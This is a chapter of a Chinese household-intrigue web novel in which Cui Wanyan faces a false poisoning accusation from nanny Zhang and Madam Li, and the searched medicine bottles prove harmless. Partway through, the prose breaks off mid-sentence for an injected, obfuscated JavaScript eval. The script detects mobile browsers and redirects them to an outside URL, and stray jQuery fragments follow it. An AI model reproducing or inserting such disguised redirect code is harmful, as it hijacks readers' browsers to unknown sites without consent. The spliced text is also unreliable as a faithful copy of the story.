棠湘楼内,沈明宜彻底打开了话匣子,双手叉腰,边走边说:“我就知道谢清菱没安好心,从前不见她亲近我,偏昨日死皮赖脸地贴上来。”
“还有那崔时,旁人都说他是翩翩公子,我瞧着就是个道貌岸然的草包,他可不是会豁出命救人的大善人,昨日跳得那般快,一上岸又喊我的名字,说没算计谁信呢?”
沈明宜气得像跳脚的兔子,说到口渴,将杯中茶水一饮而尽。
崔莞言看着她笑了,不愧是上京有名的才女,一下便看出其中端倪。
沈明宜又道:“老天开眼,竟叫谢清菱失足落水,和崔时凑成一对。”
还好崔莞言深明大义,否则被崔时祸害的人就是她了。
说着她感动不已。“崔姐姐,从今往后你就是我最好最好的姐妹!”
崔莞言不喜结交朋友,见她如此热忱,不好扫了她的兴,便点头。
“只是姐姐,谢清菱嫁进去,你可就没清静了。”
“国公府是吃人的地方,她的报应在后头呢。”崔莞言说。
自那日在御湖落水风波传回,庄氏焦头烂额,崔时闭门不出,整个正院气氛都阴沉得骇人。
反倒是李氏与孙氏,诡异地安静下来,连平日最爱生事的几个下人也仿佛被勒了口,只做事,不言语。
府中表面风平浪静,实则诡异至极。
沈明宜眨着大眼,像是忽然想起了什么:“姐姐,周王那天……其实是在看你吧?”
她上下打量崔莞言,面上温婉沉静但心思玲珑,与那冷冰冰的周王很是相配。
崔莞言却摇头,“王爷的心思哪是我们能猜的。况且,我也并不喜欢他那种人。”
那种?哪种?
听着像很了解周王为人似的,沈明宜还想追问,但见她面色已然沉了几分,便话锋一转,说起自己来:“我喜欢有学识、有担当的,行事有分寸,做官能为民,处事能守心,至于模样嘛,好看最好,难看也不必强求。”
她说得坦荡,语气却极自然,不带半分做作,“家世权势都不打紧,我最怕的是那种光靠门第就自以为是的人,话说三句就露了浅薄。”
说到这儿,她偏头看了崔莞言一眼:“你别笑,我知道自己眼光高,可我就是宁可孤老终身,也不愿嫁个只会吹牛的空壳子。”
“你这眼界,不知要难倒多少权贵公子。”
沈明宜哼了一声:“那是他们自己不争气,怪不得我。”
她说罢,一脸理直气壮,只是那股干净爽利的神态,又让人觉得并不讨厌。
这样骄傲又不失真性情的女子,才最难得,可也最容易被辜负。
崔莞言心头一紧,垂下眼帘:“若他日真有那样的人出现,愿你遇见的,是心口如一的。”
沈明宜挑眉,笑道:“那你呢?你要怎样的?”
崔莞言抬眼,淡淡道:“情分这东西,虚虚实实,我最信不过。与其求那不确定的真心,不如看准局势,用得上就行。”
“若哪日真有旁人对我掏心掏肺,我倒愿他掏得彻底些,好让我看清里面装的什么。”
沈明宜听罢一愣,随即笑出声来:“你倒说得比我还绝。”
崔莞言没接话,她早已尝够被情分牵着走的下场,如今她不再博什么深情只愿自己,永远是那掌局人。
毕竟,情可弃,命难负。
-
棠湘楼一别,回到崔府后,崔莞言的日子又出奇地安静了几日。
庄氏闭门不出,李氏与孙氏更是偃旗息鼓,一副明哲保身的姿态。
直到第五日,老太太去佛寺祈福,她刚回院中,青禾便慌慌张张地跑进来,说李氏让她立刻去正厅。
“出什么事了?”
青禾上气不接下气,“是……是张嬷嬷,她在正厅哭,说您给她下毒!”
“我还以为,她会安分得久一点。”崔莞言眼神一点点暗下来。
她曾想,命都捏在她手里了,那个贪生怕死、惯于趋炎附势的老奴,不该有胆反咬一口的。
倒是低估了张嬷嬷与李氏的情谊,她该更谨慎的,就算是条狗,也不该给它喘口气的机会。
“走吧,去会会她们。”
此时正厅内,张嬷嬷哭声震天,李氏心疼似的递了帕子过去给她拭泪。
“放心,我定为你做主,这逆女竟如此心狠手辣,敢在我眼皮子底下害人,我非让老爷扒了她的皮不可。”
“嬷嬷说的可是真的?二小姐看着可不像心狠的人呢。”孙氏不忍道,她早看出崔莞言眼中那股狠劲,上回书房一言,崔晋至今都未再踏入她院中,今日绝不能放过她。
张嬷嬷闻言止了声,擦掉脸上流水似的泪,脸色隐隐发青,嘴角一抽一抽。
崔莞言心有多狠她是最清楚的,先前差点将她捂死不说,喂她毒偏还吊着她不肯给解药,非要她像个乞丐似的跪地哭求才肯施舍。
若办不好她交代的事,那贱人随时都敢要了她的命,不如鱼死网破,让主母出面处置了她,到时候还怕找不到解药?
“老奴一路去封州接她回府,没有功劳也有苦劳,可她小小年纪心肠歹毒,竟使那等歹药,还要奴婢替她做事。奴婢若不从,就要……要我求生不得求死不能……”
说到这儿,张嬷嬷两眼又红了,咬牙切齿:“夫人,老奴这一把年纪,死也就死了。可崔家若养出这般狼心狗肺的东西,迟早叫旁人看笑话!”
李氏捏着帕子,脸上浮出一丝厉色,正要发话,被门外的脚步声打断。
“谁要看笑话?”崔莞言缓步踏入,脸上不见慌乱。
“孽障!还不跪下!”李氏怒喝道。“真是胆大包天,竟敢给我的人下毒!”
“下毒?”崔莞言一脸无辜,看向瘫坐在地上的张嬷嬷。“嬷嬷是说我给你下毒?我害你做什么?你一条老命,值得我动手?”
“你……你就是想要挟我替你做事。”
“你说我毒你,可有药?可有人证?若都无,那便是血口喷人。”崔莞言不紧不慢地说。
原先她还想在李氏面前装一装,现在看来,不如直接撕破脸来得好。这次闹出张嬷嬷的事,桃枝这步棋,怕是要提早用上了。
“不如传南院的侍女过来问问,有没有见过可疑之物?”孙氏适时补了一句,眼神看向崔莞言时,竟满眼都是心疼。
真会做戏。
崔莞言冷笑了一声。
李氏这才想起还有桃枝可用,便赶紧遣人去唤。
片刻后,桃枝便被人带了进来。“见过夫人。”
李氏目光森冷地落在她身上:“你在南院可曾见过什么不对劲的东西?”
“奴婢……见姑娘屋中放了几个药瓶,不知里面装的是什么,也不敢乱问。只是看着……有些可疑。”
李氏眼神一亮,立刻沉声道:“来人,去二小姐院中搜!一只瓶子也不许落下!”
“慢着。”崔莞言突然开口,“母亲要搜我的院子?祖母可说过,我的事她都要亲自过问,母亲若执意如此,我也不介意去请祖母回来。”
这话一出,厅中瞬间静了。
所有人都知道老太太这段时间有多喜爱她,原本就不许下人随意走动她院中。李氏若真叫人闯进去,惊动了老太太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971506|177806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,谁都讨不了好。
李氏面色讪讪,咬了咬牙,面上仍强撑着怒意,推三阻四的,定是心里有鬼!
“你以为搬出老太太就能吓住我?你若真干净,又何必怕人去搜?”
张嬷嬷眼珠一转,忙哭着添了一句:“她那几瓶药,说不准就是下毒害我的!”
崔莞言目光扫过众人:“今日若什么都搜不出来,我自不会善罢甘休。到时这血口喷人的罪名,究竟该落在谁身上,咱们一个一个慢慢算。”
李氏自觉胜券在握,自然不会听她威胁,她一挥手:“去,给我搜!整个南院,地毯底下、箱笼抽屉,一处不许落下!”
早有等候的婆子应声而去,桃枝低着头亦跟了出去。
不一会儿,几个婆子快步回转,恭敬地将托盘呈上。
托盘上,赫然摆着两个瓷白小瓶。
李氏瞧见,顿时眉梢一挑,眼中露出几分得意:“这就是你说的清白?”
张嬷嬷冲上前,仿佛抓住了救命稻草,泪水都掉了下来:“就是它!我吃的药,就是装在这种瓶子里!”
孙氏也适时接口:“虽不知里面是什么,但这般藏着掖着,恐怕……”
众人齐齐望向崔莞言,等着她惊惶失措、百口莫辩的样子。
但她只是静静地看着,眼神沉静无波。
不多时,大夫便到了,李氏命人将那两只瓷瓶呈上,神情肃然:“快验一验,看看里面装的可是毒物。”
大夫不敢怠慢,当即取出银针,又小心碾碎药丸,一番细致诊验后,眉头却缓缓舒展开来。
“回夫人,这两瓶所装并非毒物,一瓶是压惊安神的合香散,另一瓶乃调理气血的丸药,俱是常见之物,无害。”
张嬷嬷脸上的血色“唰”地褪尽,原本哭哭啼啼的模样瞬间僵住。“怎……怎么可能?她明明说是毒!”
“定是这毒罕见,先生未曾接触过。”
“老夫行医几十年,安神药还是认得的。”
“嬷嬷真是好没良心。”崔莞言慢条斯理开口,嗔怪道,眉眼中带着讥诮,“在建州时,我见你受伤彻夜难眠,特地给了你安神药,你吃下后睡得安稳,身子也慢慢好了,却转头来咬我一口,说我下毒?”
张嬷嬷浑身发颤,怎么会这样?难道真不是毒?她真傻呀,竟让崔莞言骗了!
她想解释却支支吾吾,一句完整的话都说不出来。
崔莞言不理她,径直看向李氏,笑意更甚:“母亲说我心狠手辣,可眼下看来,倒是我瞎了眼,救了条忘恩负义的狗回家。”
“你、、你少在这巧言令色!”李氏忍不住骂道,又终归不愿认输。“你们可搜仔细了?”
她方才气势汹汹,话已说得太满,若真查不出什么,不仅折了威信,老太太知道了必不会放过她。
正想着如何圆过去,突然桃枝跳出来:“小姐床头有个上了锁的箱子,从来不许人碰,奴婢在南院这么久,也从未见她打开过……那里面该不会……”
话未说尽,却刻意留了悬念,眼中露出怯怯的不安,活像是不愿污蔑主子,只是忍不住担忧罢了。
李氏心中顿时一动,原本熄下的火苗又燃起来。
是了,若真有什么见不得人的药,不会明目张胆地放出来,藏箱子里才合情理。
她眼神一厉,语气也跟着硬了几分:“既如此,还不快去打开看看!”
这一声发下,连她自己都觉得重新握住了局势,眼角眉梢浮出几分志在必得的快意。
崔莞言本还笑着,可听到李氏这话,面色突然变了。“不可!这箱子,眼下不能开!”